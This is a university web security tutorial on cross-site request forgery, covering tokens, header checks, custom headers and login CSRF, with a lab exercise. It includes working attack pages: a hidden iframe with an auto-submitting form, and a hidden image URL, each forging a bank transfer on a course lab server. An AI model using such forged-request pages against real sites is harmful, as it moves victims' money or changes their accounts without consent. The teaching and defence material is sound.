Cross-Site Request Forgery (CSRF)

Cross-site request forgery (CSRF or XSRF) is a type of attack which forces an user to execute unwanted actions on a web application in which he is currently authenticated.

The key concept of CSRF is that the malicious requests are routed to the vulnerable web application through the victim’s browser. Websites, indeed, cannot distinguish if the requests coming from authenticated users have been originated by an explicit user interaction or not.

A typical attack scenario is as follows:

  1. User logs into the honest, victim site;
  2. User browses attacker’s malicious site;
  3. Attacker’s site contains a cross-site request towards the victim site;
  4. The browser will include cookies so that the request towards the victim site will be indistinguishable from a honest (same-site) one.

Example: malicious bank transfer

The following is a snippet of an application form of an imaginary bank transfer application. The form is used to transfer amt euros to the recipient identified by to.

<form class="form-signin" method="post">
    <h3 class="form-signin-heading">Transfer money</h3>
    <label for="inputUser" class="sr-only">Recipient</label>
    <input type="text" id="inputUser" name="to" class="form-control" placeholder="Recipient" required autofocus>
    <label for="inputAmount" class="sr-only">Amount</label>
    <input type="number" id="inputAmount" name="amt" class="form-control" placeholder="Amount" required>
    <button class="btn btn-lg btn-primary btn-block" type="submit">Confirm</button>
</form>

When an authenticated user clicks on the confirm button, the POST variables amt and to are sent to the account.php page.

The goal of an attacker is to force an authenticated user to execute a request on account.php with arbitrary values on the amt and to variables. Such attack can be achieved by tricking the authenticated user into visiting a malicious page which automatically instruct the user’s browser to execute the forged request, as in the example below.

cat.html:

<html><body>
	<iframe style="display: none" src="evil.html"></iframe>
	<img src="cat.jpg" alt="cat">
</body></html>

evil.html:

<html><body>
        <form name="evil" style="display: none" action="http://seclab.dais.unive.it:11180/account.php" method="post">
                <input type="text" value="5000" name="amt">
                <input type="text" value="lavish" name="to">
                <input type="submit">
        </form>
        <script>document.evil.submit();</script>
</body></html>

Assuming that the user is still authenticated to the bank website, when he visits cat.html the malicious iframe evil.html is included in the page rendered by the browser. Notice that iframe contents remain hidden to the user due to the inline CSS rule. This page automatically submits a precompiled form to http://seclab.dais.unive.it:11180/account.php performing an illicit money transfer to the account owned by the attacker (lavish in this case). Notice, in particular, that if the user is authenticated on the bank website, the corresponding authentication cookie will be attached to the malicious request that will be considered part of the authenticated session.

If the bank website allows variables to be submitted also via GET requests (e.g., using $_REQUEST instead of $_POST in the PHP application), the exploit is trivial since it simply requires the attacker to forge an URL containing the illicit values.

kitty.html:

<html><body>
        <img style="display: none" src="http://seclab.dais.unive.it:11180/account.php?to=lavish&amt=5000" alt="pwnd">
        <img src="cat.jpg" alt="cat">
</body></html>

Javascript is not even needed 🙂

Prevention

There are various techniques to prevent CSRF attacks but all of them assume that there is no XSS vulnerability in the web site. In fact, XSS can easily defeat any of the anti-CSRF defences. Interestingly, samy worm bypassed MySpace anti-CSRF defence thanks to the fact samy itself was XSS.

CSRF token

The typical approach to prevent CSRF attacks is the use of session tokens. This method consist in generating a random challenge token that is associated with the user’s session. The random token is then included in each form involving sensitive operations. When the user submits one of these protected forms, the token is sent to the server and then compared against the stored token value associated with the current session. The server-side operation is allowed only if a match is found.

Taking this technique into consideration, the form of our bank website can rewritten including an anti-CSRF token.

<form class="form-signin" method="post">
    <h3 class="form-signin-heading">Transfer money</h3>
    <label for="inputUser" class="sr-only">Recipient</label>
    <input type="text" id="inputUser" name="to" class="form-control" placeholder="Recipient" required autofocus>
    <label for="inputAmount" class="sr-only">Amount</label>
    <input type="number" id="inputAmount" name="amt" class="form-control" placeholder="Amount" required>
    <input type="hidden" value="9GiKZU6HoR" name="csrf_token">
    <button class="btn btn-lg btn-primary btn-block" type="submit">Confirm</button>
</form>

The csrf_token value must be unique per user session and regenerated at each request for increased security. When using PHP, for example, the value can be saved in the $_SESSION associative array.

Exercise
  1. find a CSRF token in one of the forms of the dctf application;
  2. observe what happens to the token when the form is reloaded (think of the consequences for security);
  3. modify the token using the browser inspector and submit the form to observe the behaviour of the application.

CSRF token in GET requests

Many applications use GET for state changing actions, thus the CSRF token is often included in both POST and GET requests. However, it is important to notice that GET requests leak the token in various ways: history, log files and Referrer header. Once the token is leaked the protection is void. It would be important to convert all state-changing GET requests to POST in order to prevent this potential vulnerability, but this is not practical in most of the cases.

Stateless variants

As an alternative to storing the CSRF token on the server, it is possible to save it in a browser cookie. The verification now proceeds as follows:

  1. User sends the form that contains the (hidden) CSRF token
  2. The browser attaches any relevant cookie, including the one containing a copy of the token
  3. The server application checks if the cookie and the token match

If storing an extra cookie is problematic it is also possible to resort to cryptographic techniques. The server encrypts the user ID a timestamp and a random nonce under a cryptographic key that is only known by the server. The generated token is used as a standard CSRF token. Verification is performed by decrypting the token and checking the validity of the content, i.e., that the user ID is the expected one and that the token is not too old.

Standard headers

Two standard headers can be used to detect CSRF: Origin and Referrer.

The Origin header has been specifically introduced to prevent CSRF. Differently from the Referrer it only contains the origin with no path and no parameters. This makes it possible to include it more liberally without risking of leaking sensitive data passed in GET requests. When Origin is present, it is enough to check that the value matches the one of the target origin.

When Origin header is not present it is possible to check the Referrer. Notice however that the Referrer is stripped in some cases for preventing data leakage (for example in http requests originated from https web pages) since it contains the full URL.

In the cases where Origin and Referrer are both missing it is recommended to reject the request. This is particularly important since there exist tricky ways to strip the referrer and Origin is not attached to the all requests. However, rejecting a request might break the web application, so this solution is not always viable. In particular, since the use of these headers is browser dependent it might be the case that different browsers show different behaviours and it is thus advisable to pair standard header check with at least another anti-CSRF mechanism.

Custom headers

For application accessed via AJAX a common solution is to check the presence of header X-Requested-With with value XMLHttpRequest. This header is set by the majority of javascript libraries. The interesting part is that only a restricted number of headers can be set in cross origin requests and X-Requested-With is NOT one of them. Thus, including it in a cross-origin request will trigger a special “pre-flight” request that ask the server the permission to set that particular header (see CORS for more detail). Thus, only same site AJAX request will include, by default, the X-Requested-With header and it is enough to check its presence to prevent CSRF. Of course this solution does not work for sites that accept non-AJAX requests.

For example, same-origin request works fine:

var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", "https://secgroup.dais.unive.it");
xmlHttp.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
xmlHttp.send( null );

Instead, when we try a cross-origin request we get an error and the request is blocked because of the attempt to set the header:

var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", "https://www.google.it");
xmlHttp.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
xmlHttp.send( null );
(index):1 Failed to load https://www.google.it/: Response to preflight request doesn't pass access control check: No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'https://secgroup.dais.unive.it' is therefore not allowed access. The response had HTTP status code 405.

Requiring user interaction

For highly critical operations (e.g. bank transfers) it is usually a good idea to require an explicit user interaction, so to prevent CSRF attacks. Examples are:

  • Require to re-authenticate
  • Require an OTP (One-Time Password)
  • Require an extra input (e.g. CAPTCHA)

All of the above mechanisms assumes that the user will double check the request and insert the (unpredictable) requested value to confirm. In principle it would be enough that the server application asks for confirmation using an unpredictable transaction ID which is generated after the first request. Since the ID cannot be predicted by the attacker, the confirmation cannot be subject to another CSRF.

Login CSRF

A login CSRF is a particular CSRF attack in which the attacker forces the user to log into the attacker’s account. This can be used to steal confidential user’s information that will be sent to attacker’s account instead of user’s. For example, in a payment system a login CSRF might allow the attacker to steal user’s credit card number.

A login CSRF is possible, for example, when the CSRF attack is performed on the login form:

  1. User browses attacker’s malicious site
  2. Attacker’s site includes a hidden login form that is sent towards the victim site
  3. The form logs the user into the attacker’s account
  4. The user browses the victim site and insert sensitive data
  5. Data are leaked to the attacker through the attacker’s account

Notice that CSRF token protects against login CSRF only if the web site establishes a pre-session, i.e., set a cookie that identifies the session before authentication happens. In this way, since the token will be related to the pre-session (and depend on the pre-session cookie), there is no way for the attacker to reuse a different token from an alternative (attacker’s) pre-session. In other words, having a pre-session makes the token session-dependent even before authentication happens.

References

A comprehensive list of CSRF prevention measures is the OWASP CSRF Prevention Cheat Sheet.

Suggested reading: